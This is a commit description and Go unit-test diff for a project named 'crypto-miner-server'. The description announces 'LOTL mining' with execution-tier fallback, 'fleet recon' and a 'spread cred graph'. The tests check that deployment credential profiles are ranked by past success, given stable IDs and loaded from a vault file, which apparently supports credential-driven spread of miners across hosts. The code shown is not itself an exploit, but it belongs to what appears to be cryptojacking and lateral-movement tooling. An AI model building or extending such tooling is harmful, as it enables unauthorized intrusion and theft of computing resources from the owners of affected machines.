Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/deployment_creds_test.go

@@ -0,0 +1,69 @@
+package main
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	dbpkg "crypto-miner-server/internal/db"
+)
+
+func TestOrderDeploymentCredProfiles_Affinity(t *testing.T) {
+	cfg := &Config{
+		DeploymentCredentials: []DeploymentCredProfile{
+			{ID: "profile-a", Label: "A", Username: "lab\\a"},
+			{ID: "profile-b", Label: "B", Username: "lab\\b"},
+			{ID: "profile-c", Label: "C", Username: "lab\\c"},
+		},
+	}
+	affinity := []dbpkg.CredProfileAffinity{
+		{CredentialProfileID: "profile-b", SuccessCount: 3},
+		{CredentialProfileID: "profile-a", SuccessCount: 1},
+	}
+	ordered := cfg.OrderDeploymentCredProfiles(affinity)
+	if len(ordered) != 3 {
+		t.Fatalf("expected 3 profiles, got %d", len(ordered))
+	}
+	if ordered[0].ID != "profile-b" || ordered[1].ID != "profile-a" || ordered[2].ID != "profile-c" {
+		t.Fatalf("affinity order mismatch: %#v", ordered)
+	}
+}
+
+func TestEnsureCredProfileID_Stable(t *testing.T) {
+	p := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"}
+	EnsureCredProfileID(&p)
+	if p.ID == "" {
+		t.Fatal("expected derived profile id")
+	}
+	p2 := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"}
+	EnsureCredProfileID(&p2)
+	if p.ID != p2.ID {
+		t.Fatalf("expected stable id, got %s vs %s", p.ID, p2.ID)
+	}
+}
+
+func TestLoadDeploymentCredPasswordFromVault(t *testing.T) {
+	dataDir := t.TempDir()
+	vaultDir := filepath.Join(dataDir, "deployment-creds")
+	if err := os.MkdirAll(vaultDir, 0700); err != nil {
+		t.Fatal(err)
+	}
+	vaultPath := filepath.Join(vaultDir, "lab.vault")
+	if err := os.WriteFile(vaultPath, []byte(`{"password":"vault-secret"}`), 0600); err != nil {
+		t.Fatal(err)
+	}
+
+	cfg := &Config{
+		DataDir: dataDir,
+		DeploymentCredentials: []DeploymentCredProfile{
+			{ID: "lab", Label: "Lab", Username: `corp\admin`, VaultRef: "deployment-creds/lab.vault"},
+		},
+	}
+	user, pass, err := cfg.LoadDeploymentCredPassword("lab")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if user != `corp\admin` || pass != "vault-secret" {
+		t.Fatalf("unexpected vault load: %q / %q", user, pass)
+	}
+}